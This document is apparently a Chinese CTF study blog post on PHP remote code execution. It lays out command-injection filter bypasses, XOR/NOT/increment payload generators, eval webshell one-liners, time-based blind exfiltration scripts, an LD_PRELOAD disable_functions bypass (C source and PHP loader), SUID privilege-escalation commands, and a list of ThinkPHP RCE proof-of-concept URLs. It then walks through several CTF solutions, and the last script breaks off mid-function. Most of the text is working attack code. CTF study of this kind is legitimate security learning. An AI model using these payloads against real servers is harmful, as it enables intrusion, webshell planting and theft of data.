RCE学习

从最近的xyctf中,最大的感受就是自己的rce基础并不牢固,所以马上来恶补一下

漏洞成因

php和其他语言有很多能够执行系统命令或执行其他php代码的函数,因为开发者的使用不当,使得用户能够控制传递给执行命令的函数的参数,那么就用可能被用来执行恶意命令,接下来的学习以ctf中最常用的php来学习

利用方法

命令注入

执行系统命令的函数和方法

执行的结果都是以字符串返回,执行失败返回空,区别是能不能直接回显

函数 描述
system($cmd) 可以直接回显
shell_exec($cmd) 不直接回显,配合echo等才能看到结果
passthru($cmd) 可直接回显
exec($cmd) 不能直接回显,配合echo等才能看到结果
`$cmd`(shell_exec的变种) 系统命令用反引号包裹,也能执行,不能直接回显

linux也通过echo ,输入输出重定向,来写入一句话木马

代码注入

利用一些php函数来执行系统命令

1.eval

rce中最常用的函数,将php代码以字符串形式传入,显示执行结果,代码结束要加;

2.preg_replace()

preg_replace('正则规则','要替换的字符','目标字符')

正则规则中使用\e修饰符,php会被后面要替换的字符当作php代码执行, 如:

php7的匹配正则模式不能由get传入,但php5可以

3.create_function()

如图,create_function()可以创建动态函数,$args是参数,$code具体动态函数的要执行的代码,用eval执行,所以完全可以拿来写一句话

php 复制代码
<?PHP $func=create_function('',$_POST['cmd']);$func();?>

4.call_user_func

!

5.call_user_func_array

用法同call_user_func,只是后面传的参数要是数组

6.array_map

array_map( c a l l b a c k , callback, callback,array),对传入的array数组的每个元素,应用传入的$callback回调函数

7.array_filter

array_filter( a r r a y , array, array,callback),对 a r r a y 数组用 array数组用 array数组用callback函数过滤掉一些元素,用法与array_map相近,只是参数顺序相反

8.popen

PHP 复制代码
#利用方式
$handle=popen('ls','r');echo fread($handle,2096); 

9.proc_open

用popen的升级版,用起来比popen稍微复杂,将命令作为单独的进程执行,并控制其输入、输出和错误管道

php 复制代码
#原始
// 要执行的命令
$test = "whoami";
// 用于设置进程管道的数组
$array = array(
    array("pipe", "r"), // 标准输入管道
    array("pipe", "w"), // 标准输出管道
    array("pipe", "w")  // 标准错误输出管道
);
// 执行命令并创建进程
$fp = proc_open($test, $array, $pipes);
// 从标准输出管道中读取数据并打印
echo stream_get_contents($pipes[1]);
// 关闭进程
proc_close($fp);
#压缩去掉换行
$test="whoami";$array=array(array("pipe","r"),array("pipe","w"),array("pipe","w"));$fp=proc_open($test,$array,$pipes);echo stream_get_contents($pipes[1]);proc_close($fp);

命令注入绕过

题目的重点都是如何绕过过滤

过滤命令关键字

其他命令平替

1.使用其他查看文件的命令绕过,比如过滤cat

常见平替:

复制代码
tac,less,more,nl,head,tail

还有其他命令可以读取文件:

命令 描述
vim ,vi /flag 编辑器 后跟文件,也能显示出内容
od -c 或 -a /flag 读取二进制数据,加-a或-c,就会输出常见字符
sort,unqiue /flag 排序去重命令都会显示文件内容
file -f ,date -f , dig -f /flag 利用报错读出文件内容
sh /flag 2>%261 也是利用报错,但是要把错误输出重定向到标准输出流,如果get传输要url编码&
strings /flag strings 读取二进制文件中的可打印字符
rev /flag 逆序输出
paste /flag paste用于合并文件内容,只有一个文件也可以
diff /flag /etc/passwd diff用于比较文本内容,会显示各个文本的内容,需要一个已知文件

单用base64 /flag,也可以得到flag

date 是查看时间的命令,但是date -f 可以利用它的报错信息读取文件,

dig -f 也可以

!

但是在php的system中,date-f读不出来,但是 dig -f可以

过滤ls

dir在ubuntu也可以扫描目录,但在其他环境可能报 command not found

无效转义

在命令的字符中添加' " \ $@,不影响命令的执行,单双引号要加两个

·

编码

1.十六进制编码

用xxd工具,xxd有两个选项,-r可以把十六进制数据转为二进制,-p则是以 postscript plain hexdump 风格(易于阅读和打印)输出数据,配合管道符传递给shell,就可以执行命令

复制代码
echo 636174202f666c6167 | xxd -r -p|bash

或者用shell的内联执行

shell 复制代码
$(printf '\x63\x61\x74\x20\x2f\x66\x6c\x61\x67') 

2.八进制编码

复制代码
$(printf '\143\141\164\040\057\146\154\141\147')
$(echo '\143\141\164\040\057\146\154\141\147')

3.base64编码,32也行,配合管道符

shell 复制代码
echo "Y2F0IC9mbGFn"|base64 -d|bash
echo "MNQXIIBPMZWGCZY="|base32 -d|bash 
echo 'ZWNobyAnPD89QGV2YWwoJF9QT1NUW2NtZF0pPz4nID4gc2hlbGwucGhw'|base64 -d|bash #写入一句话

变量引用

把要执行的命令都每个单词从,拆开几个部分用一个变量定义,使用时拼接在一起

shell 复制代码
a=l;b=s;c=/;$a$b $c ->ls /
a=ca;b=t;c=/fl;d=ag;$a$b $c$d ->cat /flag

很明显这个方法;不能被过滤

过滤关键文件名

使用通配符

具体例子使用可上网搜索

  • *,匹配一个或多个字符 ,如:cat /f*

  • ?,匹配一个字符,如:cat /fla?

  • ... ,匹配指定范围内的字符,如:cat /[e-g][k-m]?[e-h] 或/[e-g][k-m][0-b][e-h]@-z匹配所有字母,有时a被过滤可用

过滤空格

${IFS}

${IFS}绕过,${IFS}在linux的环境变量中代表空格 如cat${IFS}/flag

重定向

如cat</flag

!

%09

%09就是制表符,url解码后传给php就和空格差不多,如:cat%09/flag

过滤/

逻辑符号拼接命令

有一些题目是代码本身会执行一些正常的命令(如ping),这时我们可以利用逻辑符号在后面拼接我们注入的命令

linux命令中,逻辑符号的作用如下:

cmd1 & cmd2:两个命令同时在后台执行,前面的是否执行成功不影响后续命令执行

cmd1 && cmd2:按顺序先后执行命令,输出结果,前面的失败后面也无法执行

cmd1 | cmd2:| 是管道符,用于把前面命令的结果作为变量输入到后面的命令,如果后面命令用不到,且正常执行不报错

那就正常执行后面的命令,如:

前面的执行失败不影响后面执行

cmd1 || cmd2:前面的命令执行失败才会执行后面的命令,否则后面的命令不执行

cmd1;cmd2:顺序执行命令

过滤了/,就可以用命令连接符号,多次cd跳转到根目录执行操作

shell 复制代码
cd ..;cd ..;cd ..;ls
或
cd ..%26%26cd ..%26%26cd ..%26%26ls

截取环境变量

没有过滤 $ {}时可以使用

$HOME 环境变量 就是/用户名,截取第一个就是/

$0可以表示bash

代码注入相关绕过

过滤system

如果是代码注入且过滤了system,可以尝试:

其他函数

使用其他可以执行命令的函数如:passthru,shell_exec,但是没有回显,配合echo,print,var_dump使用

或者使用php内置的扫描目录和读取文件的函数。如:

复制代码
扫描目录:scandir
读取文件:file_get_contents , readfile , file ,highlight_file , show_source,
读取文件最后两个函数不用var_dump,其余都要

拼接执行

如:

复制代码
(s.y.s.t.e.m)("whoami");
(s.y.s.t.e.m)('whoami');

php7才可以

编码

可以把php的函数名用八进制或十六进制编码,php7可以,动态执行函数

php 复制代码
"\x73\x79\x73\x74\x65\x6d"("\x6c\x73"); -> system('ls')
"\163\171\163\164\145\155"("\154\163"); -> system('ls')

进制字符串要用双引号包裹,双引号中如果有变量,会解析变量,而单引号中不管是否有变量,都当作字符串

或者hex2bin

php 复制代码
hex2bin('73797374656d')(hex2bin('636174202f666c6167')); #system('cat /flag')

过滤引号

可以用参数逃逸,这个方法也能用在过滤很多关键字的情况,如

复制代码
?a=system($_GET[b]);&b=cat /flag
?a=$_GET[b]($_GET[c]);&b=system&c=cat /flag

使用反引号,如

复制代码
?a=echo `ls`;

无数字字母

如果题目过滤了常规的数字和字母,就要使用其他一些运算方法,在执行php代码前先进行一定运算,

把一些不可见字符的二进制数据,通过一些数学运算,算出字母和数字,再执行

异或

使用大佬的两个配套脚本,如:

php 复制代码
<?php
    // 打开一个文件用于写入,如果文件不存在则创建该文件
    $myfile=fopen("xor_rce.txt","w");
    // 初始化一个空字符串,用于存储生成的结果
    $contents="";
    // 循环遍历 0 到 255 的所有可能的字节值
    for($i=0;$i<256;$i++){
        for($j=0;$j<256;$j++){
            // 如果字节值小于 16,则将其转换为两位十六进制数,以便于 URL 编码
            if($i<16){
                $hex_i='0'.dechex($i);
            }
            else{
                $hex_i=dechex($i);
            }
            if($j<16){
                $hex_j='0'.dechex($j);
            }
            else{
                $hex_j=dechex($j);
            }
            // 定义用于匹配不允许的字符的正则表达式
            $preg='/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';    // 根据题目给的正则表达式修改即可
            // 使用 URL 解码将十六进制转换为ascii码,然后检查是否存在不允许的字符
            if(preg_match($preg,hex2bin($hex_i))||preg_match($preg,hex2bin($hex_j))){
                echo ""; // 如果存在不允许的字符,则不做任何操作
            }
            else{
                // 
                $a='%'.$hex_i;
                $b='%'.$hex_j;
                $c=(urldecode($a)^urldecode($b));
                // 如果异或结果是可见字符,则将其的url编码,添加到结果字符串中
                if(ord($c)>=32&ord($c)<=126){
                    $contents=$contents.$c." ".$a." ".$b."\n";
                }
            }
        }
    }
    // 将结果字符串写入到文件中
    fwrite($myfile,$contents);
    // 关闭文件句柄
    fclose($myfile);
?>

两个ascii字符,分别0-255,进行异或运算,如果结果是可见字符且不符合设定的正则,添加这两个字符的url编码到文件字符中,

这样一来,就可以把可见字符,用两个不可见字符的异或来表示,如

当然,大佬还写了利用这个文件,生成payload的脚本

python 复制代码
import requests
import urllib
from sys import *
import os

def action(arg):
    s1=""
    s2=""
    for i in arg:
        f=open("xor_rce.txt","r")
        while True:
            t=f.readline()
            if t=="":
                break
            if t[0]==i:
                # print(i)
                s1+=t[2:5]
                s2+=t[6:9]
                break
        f.close()
    output="(\""+s1+"\"^\""+s2+"\")"
    return(output)

while True:
    param=action(input("\n[+] your function: "))+action(input("[+] your command: "))+";"
    print('\n',param)

运行结果:

所以payload即为

复制代码
?a=("%0c%05%0c%08%05%0d"^"%7f%7c%7f%7c%60%60")("%0c%0c%00%00"^"%60%7f%20%2f");

取反

利用取反运算,这个可以不用大佬脚本,自己随便弄一下都行,如:

php 复制代码
<?php
$php_code='system';
$cmd='ls /';
$arr=array($php_code,$cmd);
$res="(~".urlencode(~$php_code).")(~".urlencode(~$cmd).");";
echo $res;
#结果
%8F%97%8F%96%91%99%90
//phpinfo()->payload:
?a=(~%8F%97%8F%96%91%99%90)();
//system('ls /');->payload:
?a=(~%8C%86%8C%8B%9A%92)(~%93%8C%DF%D0);

如果是post传参,用hackbar传过去url解码有问题,用bp就可以

自增

在 PHP 中,对一个字母型变量执行自增运算时,会将该字母转换为其 ASCII 码值,执行自增运算后再将结果转换回字母。具体来说,字母型变量的自增运算实际上是对其 ASCII 码值加一,然后将结果转换回字母。如:

我们可以通过不断的自增来获得想要的字符,eval可以执行php代码,把自增的代码传进去,得到想要的字符后,最后构造出能rce的样子

但是这是无数字字母,php代码中也不能含有字母,所以我们的自增起点要稍微变一下,如:

将空数组和字符串拼接时,php会把空数组转为字符串Array再去拼接 ,取出下标为0的字符,就是A,这里不能直接用0,而是用一个表达式''=='$',值为假,就会返回0,从而取到了字母A

然后开始自增,获得其他字母,得到$_GET$_POST,大佬脚本如下:

$_GET

php 复制代码
<?php
$_=[].'';//Array
$_=$_[''=='$'];//A
$_++;//B
$_++;//C
$_++;//D
$_++;//E
$__=$_;//E
$_++;//F
$_++;//G
$___=$_;//G
$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;//T
$_=$___.$__.$_;//GET
$_='_'.$_;//_GET
var_dump($_);
#$res="$_=[].'';$_=$_[''=='$'];$_++;$_++;$_++;$_++;$__=$_;$_++;$_++;$___=$_;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_=$___.$__.$_;$_='_'.$_;$$_[_]($$_[__]);"
?>

代码中 经 过两次自增和拼接,变为 ' _经过两次自增和拼接,变为` 经过两次自增和拼接,变为'_GET,所以最后可以利用的代码变为 G E T ( _GET_( GET\[\](GET__);,,__`传入payload即可

要把原始代码去掉换行,再url编码一下,最终payload

复制代码
%24_%3D%5B%5D.%27%27%3B%24_%3D%24_%5B%27%27%3D%3D%27%24%27%5D%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24__%3D%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24___%3D%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D%24___.%24__.%24_%3B%24_%3D%27_%27.%24_%3B%24%24_%5B_%5D%28%24%24_%5B__%5D%29%3B&_=system&__=ls /

无字母

其实就是利用八进制编码,这样构造的payload没有字母,由于我本地php测试总是失败,用一道题目来测试

源码:

php 复制代码
<?php
highlight_file(__FILE__);
function waf($cmd){
    $white_list = ['0','1','2','3','4','5','6','7','8','9','\\','\'','$','<']; 
    $cmd_char = str_split($cmd);
    foreach($cmd_char as $char){
        if (!in_array($char, $white_list)){
            die("really ez?");
        }
    }
    return $cmd;
}
$cmd=waf($_GET["cmd"]);
system($cmd);

这题只允许白名单,白名单里只有数字,和一些特殊的字符,$,\,',很明显就是要八进制编码

shell 复制代码
$'\154\163' #ls

但是这样执行的命令无法加参数,要读取flag需要用到<,类似cat /flag

shell 复制代码
$'\143\141\164'<$'\057\146\154\141\147' 

这方面的详细知识可以看这篇大佬的文章:https://xz.aliyun.com/t/12242

无回显

如果用exec,这类没有回显的函数,可以考虑写一句话或者 ,把命令结果重定向或写入文件中

有写入权限

写入一句话木马,用到重定向符号:>

复制代码
?a=echo%20%27<?%3Deval($_POST[cmd])?>%27%20>shell.php

tee 命令结果写入文件

要用到管道符:|

shell 复制代码
cat /flag | tee a

然后再去访问a即可,

无写入权限

可以尝试bash时间盲注 需要到:|

awk截取第一行内容:cat /flag | awk ==1

cut 截取第一列内容cat /flag | awk NR==1 | cut -c 1

不过一般题目中flag文件一般都只有一行,awk 可以省略,当然如果flag.php就不能省略了

获取文件的文本长度,行数

shell 复制代码
awk 'NR==1 { print length($0); exit }' /flag  #获取第一行的文本长度
awk 'END {print NR}' /flag        #获取行数

结合 if ,sleep,实现时间延时

复制代码
?a=if [ `cat /flag | awk NR==1 | cut -c 1` = 'F' ];then sleep 2;fi

做了足够的铺垫后,就应该写脚本了,主要语句:

shell 复制代码
if [ `28= ls /| awk 'END{print NR}'` ];then sleep 2;fi #猜文件数量
if [ `ls / | awk 'NR==1 {print}'` = 1 ]; then sleep 2; fi  #猜每个文件的文件名长度
if [ `ls / | awk NR==1 | cut -c 1` = "b" ]; then sleep 2;fi   #猜根目录下的文件目录名
if [ `cat /flag_is_he3re|cut -c 1`=F ]; then sleep 2;fi   #猜字符

完整脚本

python 复制代码
mport requests
import string
import time
import urllib.parse as up
str_list = string.ascii_letters + string.digits + '[{}.@-_=]'
url='http://192.168.184.200/rce/play.php?a='

def condition(url):
    start=time.time()
    res=requests.get(url,timeout=3)
    end=time.time()
    if int(end-start)>=2:
        return True
    return False
def check_flag(filename):
    #发现可能的flag文件
    checks=['f','l','a','g']
    for che in checks:
        if che not in filename:
            return False
    return True
def try_flag(catalog='/'):
    #获取有多少个文件
    file_nums=0
    for i in range(1,50):
        get_nums_cmd="if [ `ls {} | awk 'END{{print NR}}')` = {} ]; then sleep 2; fi".format(catalog,i)
        print(get_nums_cmd)
        if condition(url+up.quote(get_nums_cmd)):
                    file_nums=i
                    print(f'有{file_nums}个文件')
                    break
    filenames_list=[]
    run=''
    tar=''
    #获取文件名长度,然后猜文件名
    for i in range(1,file_nums+1):
        len=0
        name=''
        for k in range(1,50):
            get_filelen_cmd='if [ `ls {} | awk \'NR=={} {{print length}}\'` = {} ]; then sleep 2; fi'.format(catalog,i,k)
            if condition(url+up.quote(get_filelen_cmd)):
                    len=k
                    print(f'第{i}个文件名字长度为{len}')
                    break
        for j in range(1,len+1):
            for k in str_list:
                get_filename_cmd='if [ `ls {} | awk NR=={} | cut -c {}` = "{}" ]; then sleep 2;fi'.format(catalog,i,j,k)
                if condition(url+up.quote(get_filename_cmd)):
                    name+=k
                    print(name)
                    break
        filenames_list.append(name)
        if check_flag(name):
            run=input(f'疑似发现了flag文件,{name}是否继续?c->继续,其他放弃')
            if run =='c':
               continue
            else:
               tar=name
               break
    print(f"确认发现了flag文件:{tar},开始查找")
    flag_len=0
    flag=''
    #发现了flag之后,就猜flag
    for i in range(1,70):
        get_flaglen_cmd='if [ `cat {}{}| awk \'{{print length}}\'` = {} ]; then sleep 2;fi'.format(catalog,tar,i)
        if condition(url+up.quote(get_flaglen_cmd)):
            flag_len=i
            print(f"{tar}文件字符数为{i}")
    for i in range(1,flag_len+1):
        for k in str_list:
            get_flag_cmd='if [ `cat {}{}|cut -c {}` = {} ]; then sleep 2;fi'.format(catalog,tar,i,k)
            if condition(url+up.quote(get_flag_cmd)):
                flag+=k
                print(flag)
try_flag()

还可以cp复制或者mv移动,把flag搞到网站目录,再访问得flag

disable_function限制

这种情况是有了webshell后,但是无法正常执行命令

当php.ini把很多能执行命令的函数都设置进了disable_function,此时如果直接执行,是执行不了的,如

一种思路就是找漏网之鱼,看能不能利用没被ban的函数,另一种就是利用LD_PRELOAD环境变量加载恶意so文件,这里主要学习后者

这个主要也是利用大佬的脚本,https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD,原理的讲解也在里面,很详细,这里主要记录自己的对这个方法的一些浅薄理解

当运行可执行文件时,操作系统的动态链接器会负责加载并链接 需要的共享对象文件(.so文件),找到要用到的系统底层函数,解析符号引用,加载到内存中,使得程序能够正常执行。

而linux系统环境变量$LD_PRELOAD可以设置优先加载的so文件,如果能设置为我们控制的so文件,其中包含了我们自己实现的恶意同名底层函数,linux要执行该函数时,会去so文件寻找,而我们的so文件由于$LD_PRELOAD被优先加载,其中就有被重写过的同名函数,于是跳过了正常的系统函数,执行我们的恶意函数,这个被利用的函数通常是getuid():不需要传入变量,返回值简单

就算有了恶意so文件,但是怎么触发getuid()呢,常规的执行系统命令的函数被ban,需要寻找别的方法启动新的进程调用,大佬找到是mail()函数,mail()会调用 /usr/sbin/sendmail,它会调用getuid()

但是sendmail是一个邮件传输代理工具,不是自带的,目标环境不一定安装或者有可能被禁用,所以大佬说劫持getuid并不是最好的选择,但是这个劫持的思路是我值得学习的

大佬想到了另一种方式,不拘泥于具体的底层方法,想办法让恶意so在被加载时就能rce,代码如下:

c 复制代码
#define _GNU_SOURCE

#include <stdlib.h>
#include <stdio.h>
#include <string.h>


extern char** environ;

__attribute__ ((__constructor__)) void preload (void)
{
    // get command line options and arg
    const char* cmdline = getenv("EVIL_CMDLINE");

    // unset environment variable LD_PRELOAD.
    // unsetenv("LD_PRELOAD") no effect on some 
    // distribution (e.g., centos), I need crafty trick.
    int i;
    for (i = 0; environ[i]; ++i) {
            if (strstr(environ[i], "LD_PRELOAD")) {
                    environ[i][0] = '\0';
            }
    }
    // executive command
    system(cmdline);
}

__attribute__((constructor)) 是 C 和 C++ 语言中的一个编译器扩展,用于指定一个函数作为程序启动时的构造函数,即在程序运行之前(在main()之前)自动执行该函数。若它出现在共享对象中时,那么一旦共享对象被系统加载,该函数就会被执行

函数会从环境变量中读取命令,然后执行,php恰好有个方法putenv()可以加入自定义的环境变量

大佬的php利用脚本

php 复制代码
<?php
    echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";

    $cmd = $_GET["cmd"];
    $out_path = $_GET["outpath"];
    $evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
    echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";

    putenv("EVIL_CMDLINE=" . $evil_cmdline);

    $so_path = $_GET["sopath"];
    putenv("LD_PRELOAD=" . $so_path);

    mail("", "", "", "");

    echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>"; 

    unlink($out_path);
?>

代码中,通过putenv加入EVIL_CMDLINE环境变量为我们rce代码,用于so文件执行,设置LD_PRELOAD变量为我们上传的so文件路径,我们要在目标php文件中包含这个php,并传入cmd--->命令,outpath--->命令结果保存文件路径 ,sopath--->so文件路径,php执行mail函数时,sendmail子程序就会优先链接我们的恶意so,从而执行命令

在我的实验环境中,蚁剑连接?a=$func=create_function('',$_POST['cmd']);$func();,连接后,果然不能执行命令,

尝试把php,so文件上传到靶机的有上传权限的目录,这里我选择/tmp,

上传成功,在目标php中,传如下payload:

复制代码
?a=include('/tmp/db_bypass.php');&cmd=cat /flag &outpath=/tmp/a.txt&sopath=/tmp/bypass_disablefunc_x64.so

实验成功

其他知识点

suid提权

参考大佬文章学习:https://tttang.com/archive/1793/

SUID 是 Unix/Linux 系统中的一种特殊权限设置,全称为 Set User ID。当一个可执行文件拥有 SUID 权限时,当普通用户执行该文件时,该文件的有效用户 ID 会被临时设置为文件所有者的用户 ID,而不是执行者的用户 ID。

简单来说,SUID 权限允许普通用户以文件所有者的权限来执行该文件,即使普通用户本身没有对应的权限

suid权限就是执行权限的特殊设置,例如

shell 复制代码
chmod u+s filename  #增加suid权限
chmod u-s filename  #去除suid权限

这里把flag文件设为 700,现在无法直接查看

这时要利用有suid root 权限的二进制文件,执行这些文件,可以以文件所有者即root的权限运行,利用这些查看flag

shell 复制代码
find / -user root -perm -4000 -print 2>/dev/null
 find / 从根目录开始查找
-user root 属于root用户
-perm -4000  设置了suid权限
-print  打印匹配到文件路径
2>/dev/null   把错误输出重定向到/dev/null  /dev/null不会显示任何输入的信息,加上就相当于不打印报错信息 
不加的话会有很多 permission denied 的报错,影响观察

正常来说,常用的命令一般都没有suid权限,题目如果考察这个知识点,也会给某个命令加上,我这里给cp ,find加上了,

通过cp读取flag

shell 复制代码
cp /flag /dev/stdout
/dev/stdout 标准输出,把文件复制到这里就相当于在终端输出该文件的内容

通过find执行系统命令

复制代码
/usr/bin/find /flag -exec cat /flag \;

所以稍微总结一下,如果有suid权限,可以执行shell或读取flag的二进制文件,前提是拿到了一个shell

nmap(2.0-5.21)

复制代码
nmap --interactive

之后执行:
nmap> !sh
sh-3.2# whoami
root

//这是真正意义上的提权,进入到了root用户的shell

time

shell 复制代码
time cat /flag # time 后跟命令可执行

vim

vim ,vi,命令模式也可以执行系统命令

less more

less,more读取较大文件时,会进去翻页模式,可以用!shell执行shell命令

more执行命令不会退出翻页,less会

awk

awk可以用来执行系统命令

shell 复制代码
awk 'BEGIN { system("ls -l") }'

dmesg

dmesg -H 以易读格式输出内核环形缓冲区,也是可以!+shell执行命令

env

env用于输出环境变量,后面也是可以跟命令来执行,如env ls

flock

是Linux 的文件锁命令,也能用来执行系统命令:flock -u / whoami

ionice nice

前者设置程序的IO调度与优先级,后者修改程序的优先级,都用可以用来执行命令,

ionice whoami nice whoami

strace

strace -o /dev/null ls

其他命令,如date,paste,等用来平替cat的命令有suid权限,利用它们读取flag

thinkphp rce利用

主要是要知道对应的thinkphp版本,然后使用对应的poc

网上找的一些poc

复制代码
thinkphp 5.0.22
1、http://192.168.1.1/thinkphp/public/?s=.|think\config/get&name=database.username
2、http://192.168.1.1/thinkphp/public/?s=.|think\config/get&name=database.password
3、http://url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
4、http://url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

thinkphp 5
5、http://127.0.0.1/tp5/public/?s=index/\think\View/display&content=%22%3C?%3E%3C?php%20phpinfo();?%3E&data=1

thinkphp 5.0.21
6、http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
7、http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

thinkphp 5.1.*
8、http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=phpinfo&data=1
9、http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=system&data=cmd
10、http://url/to/thinkphp5.1.29/?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E
11、http://url/to/thinkphp5.1.29/?s=index/\think\view\driver\Php/display&content=%3C?php%20phpinfo();?%3E
12、http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
13、http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd
14、http://url/to/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
15、http://url/to/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd


thinkphp 5.0.23(完整版)debug模式
32、(post)public/index.php (data)_method=__construct&filter[]=system&server[REQUEST_METHOD]=touch%20/tmp/xxx

thinkphp 5.0.23(完整版)
33、(post)public/index.php?s=captcha (data) _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls -al
# filter[]是要执行的php函数, server[REQUEST_METHOD]是给该函数的参数
thhinkphp 5.0.10(完整版)
34、(post)public/index.php?s=index/index/index (data)s=whoami&_method=__construct&method&filter[]=system

要知道版本,可以通过输入?s=1,产生报错,通过报错信息得到版本信息

题目实战

NewStar2023So Baby RCE

源码:

php 复制代码
<?php
error_reporting(0);
if(isset($_GET["cmd"])){
    if(preg_match('/et|echo|cat|tac|base|sh|more|less|tail|vi|head|nl|env|fl|\||;|\^|\'|\]|"|<|>|`|\/| |\\\\|\*/i',$_GET["cmd"])){
       echo "Don't Hack Me";
    }else{
        system($_GET["cmd"]);
    }
}else{
    show_source(__FILE__);
}

过滤了很多命令,主要是过滤了目录分割符/,没有过滤cd,..,那就用cd 和&&跳转到根目录,然后ls,用${IFS}绕过空格,payload如下:

shell 复制代码
cd${IFS}..%26%26${IFS}cd${IFS}..${IFS}%26%26${IFS}cd${IFS}..${IFS}%26%26${IFS}cd${IFS}..${IFS}%26%26${IFS}ls

过滤了fl,可以用f???来绕过,也可以添加$@来绕过关键字,这里我用paste查看文件吧,payload:

shell 复制代码
cd${IFS}..%26%26${IFS}cd${IFS}..${IFS}%26%26${IFS}cd${IFS}..${IFS}%26%26${IFS}cd${IFS}..${IFS}%26%26${IFS}paste${IFS}f????????????????

查阅网上资料时还发现可以curl 下载 一句话木马,不过需要公网的vps

极客大挑战 RCE me

题目源码:

php 复制代码
<?php
error_reporting(0);
if(isset($_GET['code'])){
            $code=$_GET['code'];
                    if(strlen($code)>40){
                                        die("This is too Long.");
                                                }
                    if(preg_match("/[A-Za-z0-9]+/",$code)){
                                        die("NO.");
                                                }
                    @eval($code);
}
else{
            highlight_file(__FILE__);
}

// ?>

很明显是无数字字母rce,可以异或或取反,这是使用异或

复制代码
?code=("%0c%08%0c%09%0e%06%0f"^"%7c%60%7c%60%60%60%60")(); #phpinfo()

本来想直接用system查看,但是失败,感觉可能是被禁了,再来看phpinfo

发现禁用了很多系统函数,assert没被禁,那就assert(eval($_POST[a]));,不能直接eval(eval($_POSTa))

复制代码
(~%9E%8C%8C%9A%8D%8B)(~%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9E%A2%D6);

连接成功,由于disable_function的限制,命令用不了,传so文件和对应的php上去,跟实验步骤一样即可

code继续assert(eval($_POST[a]))

复制代码
?code=(~%9E%8C%8C%9A%8D%8B)(~%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9E%A2%D6);;&cmd=ls / &outpath=/tmp/a.txt&sopath=/tmp/bypass_disablefunc_x64.so
post:
a=include('/tmp/db_bypass.php')
# code: assert(include('/tmp/db_bypass.php'))

发现有readflag程序,直接运行

NewStar2023 R!!!C!!!E!!!

源码

php 复制代码
<?php
highlight_file(__FILE__);
class minipop{
    public $code;
    public $qwejaskdjnlka;
    public function __toString()
    {
        if(!preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|tee|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $this->code)){
            exec($this->code);
        }
        return "alright";
    }
    public function __destruct()
    {
        echo $this->qwejaskdjnlka;
    }
}
if(isset($_POST['payload'])){
    //wanna try?
    unserialize($_POST['payload']);
} 

是exec无回显,那就要考虑写入或者盲注了

尝试了一下,tee写入,发现是可以的,单引号绕过关键字过滤即可,exp:

php 复制代码
<?php
class minipop{
    public $code="ls /|te''e /var/www/html/a";
    public $qwejaskdjnlka;
    public function __toString()
    {
    }
    public function __destruct()
    {
    }
}
$a=new minipop();
$a->qwejaskdjnlka=$a;
echo serialize($a);
# O:7:"minipop":2:{s:4:"code";s:26:"ls /|te''e /var/www/html/a";s:13:"qwejaskdjnlka";r:1;}

发现了flag,直接查看

后面看了官方wp,发现预期解是bash盲注,于是我尝试写脚本 ,过滤了{} ,原来的脚本用不了,把命令改为用sed 实现,三剑客看来真的要再去复习一下

脚本:

python 复制代码
import requests
import string
import time
import urllib.parse as up
str_list = string.ascii_letters + string.digits + '{[.@-_=]}'
url='http://b70d0e66-be37-4788-80fd-49d791990778.node5.buuoj.cn:81/'


def condition(url,data):
    time.sleep(0.5)
    start=time.time()
    res=requests.post(url,timeout=3,data=data)
    end=time.time()
    if int(end-start)>=2:
        return True
    return False

def try_flag(catalog='/'):
    #查找含有flag的flag文件名长度
    flag_len=14
    base_payload = 'O:7:"minipop":2:{{s:4:"code";N;s:13:"qwejaskdjnlka";O:7:"minipop":2:{{s:4:"code";s:{0}:"{1}";s:13:"qwejaskdjnlka";N;}}}}'
    data={
       'payload':''
    }
    flag_name=''
    flag=''
    #获取长度,题目过滤了.*,只好匹配flag整体
    for i in range(1,30):
        get_len_cmd='if [ `ls {} | sed -n \'/flag/p\' | cut -c 1-|wc -m` = {} ];then sleep 2;fi'.format(catalog,i)
